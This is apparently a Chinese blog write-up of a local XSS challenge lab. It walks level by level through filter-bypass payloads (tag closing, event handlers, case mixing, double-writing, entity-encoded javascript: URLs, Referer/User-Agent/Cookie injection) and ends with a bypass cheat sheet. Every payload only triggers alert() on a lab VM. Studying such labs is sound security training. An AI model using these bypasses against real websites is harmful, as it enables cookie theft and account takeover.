XSS闯关小游戏
前言
0X01 实验介绍
- 为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
- XSS原理:
恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。 - XSS分类:
1).存储型,又称持久型XSS。存储式XSS漏洞, 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。例如某网站A上有一个XSS漏洞,该漏洞允许将攻击代码保存在数据库中,xx在该网站注册成用户并发布了一篇文章,文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。它之所以被称作存储式漏洞是因为它把恶意代码直接保存到数据库中,只要浏览XX发布文章的用户都将受到攻击。
2).反射型,又称非持久型XSS。Web客户端发送含有恶意代码的请求到服务器,Server端将脚本包含在返回的响应中,这时web客户端收到响应,脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;
3).DOM-XSS,DOM(文档对象模型)。这种漏洞存在于页面中客户端脚本自身 - xss危害:
(1).盗取用户cookie;
(2).控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
(3).强制发送电子邮件
(4) .网页挂马
0X02 实验目的
- 深入理解跨站脚本攻击概念;
- 掌握对跨站脚本的存储型攻击方式
下载链接
链接:https://pan.baidu.com/s/19NSazUy6_8FYWUV10k9tBg
提取码:k1rj
我自己在本地虚拟机的路径,http://127.0.0.1/xss/index.php 打开后提示点击图片,进入第一关。
第一关
输入的变量直接被输出,直接构造payload即可。
<script>alert(1)</script>
----------------------------------------分-----------割-----------线----------------------------------
第二关
搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS
"><script>alert(1)</script>
----------------------------------------分-----------割-----------线----------------------------------
第三关
输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value,再直接使用事件即可
'Onclick=‘window.alert(1)'
----------------------------------------分-----------割-----------线----------------------------------
第四关
与第三关类似,< >被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签
"Onclick="window.alert(1)
----------------------------------------分-----------割-----------线----------------------------------
第五关
< script 和on被替换了,事件被插入特殊符号,改用其它标签构造不含这两个的payload
"><a href="javascript:alert(1)">
----------------------------------------分-----------割-----------线----------------------------------
第六关
比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload
"><scRiPt>alert(1)</scrIPt>
----------------------------------------分-----------割-----------线----------------------------------
第七关
把输入变量转成了小写,但过滤的字符强制变成空格,可以使用,中间的script变成了空格,正好变成了< script>
"><scrscriptipt>alert(1)</scrscriptipt>
----------------------------------------分-----------割-----------线----------------------------------
第八关
input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码
搜索框中输入
javascript:alert(1)
点击添加到友情链接,点击链接
协议加编码绕过
----------------------------------------分-----------割-----------线----------------------------------
第九关
上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为
javascript:alert('http://')
----------------------------------------分-----------割-----------线----------------------------------
第十关
keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:
?t_sort="onclick="alert()"type="text"
----------------------------------------分-----------割-----------线----------------------------------
第十一关
查看源码可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入
t_sort="type="text" onclick="alert(1)
----------------------------------------分-----------割-----------线----------------------------------
第十二关
查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上
"type="text" onclick="alert(1)
之后释放
----------------------------------------分-----------割-----------线----------------------------------
第十三题
查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上
"type="text" onclick="alert(1)"
----------------------------------------分-----------割-----------线----------------------------------
第十四关
这是啥?
跳过
----------------------------------------分-----------割-----------线----------------------------------
第十五关
这又是啥?
只要思想不滑坡,办法总比困难多
查源码
看到ng-include
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
看了看大神的做法,自己试了一下
构建一个evil code弹窗
payload
?src='level1.php?name=<img src=x onerror=alert(1)>'
----------------------------------------分-----------割-----------线----------------------------------
第十六关
script / 空格 被过滤了 ,用%0d,%0a换行符绕过
<img%0asrc=x%0aonerror=alert(1)>
----------------------------------------分-----------割-----------线----------------------------------
第十七关
arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver=alert(1)绕过。
浏览器有问题,换了IE支持flashplayer
arg01=a&arg02=b%20onmouseover=alert()
----------------------------------------分-----------割-----------线----------------------------------
第十八关
同十七
arg01=a&arg02= onmouseover=alert(2)
----------------------------------------分-----------割-----------线----------------------------------
第十九关
第二十关
涉及flash xss
水平有限
做不出来
参考了相关技术博客,没太明白以后有机会再更。
----------------------------------------分-----------割-----------线----------------------------------
总结
大小写混合字符
<scRiPt>alert(1)</scrIPt>
双写绕过
<scr<script>ipt>alert(1)</scr<script>ipt>
使用其他标签
<img src=x onerror=alert(1)>
<img/src=x onerror= alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
iframe
<iframe src="javascript:alert(2)">
<iframe onload=alert(1)>
利用事件绕过
<svg onload=alert(1)>
<body onload=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
a标签
<a href="javascript:οnclick=alert()">test</a>
<a href="javascript:alert()">test</a>
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1">
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<>被过滤
Onclick=window.alert(1)
onmouseover=window.alert(1)
协议绕过
javascript:alert(1)
javascript:alert(1)
😄如有问题,请各位师傅斧正。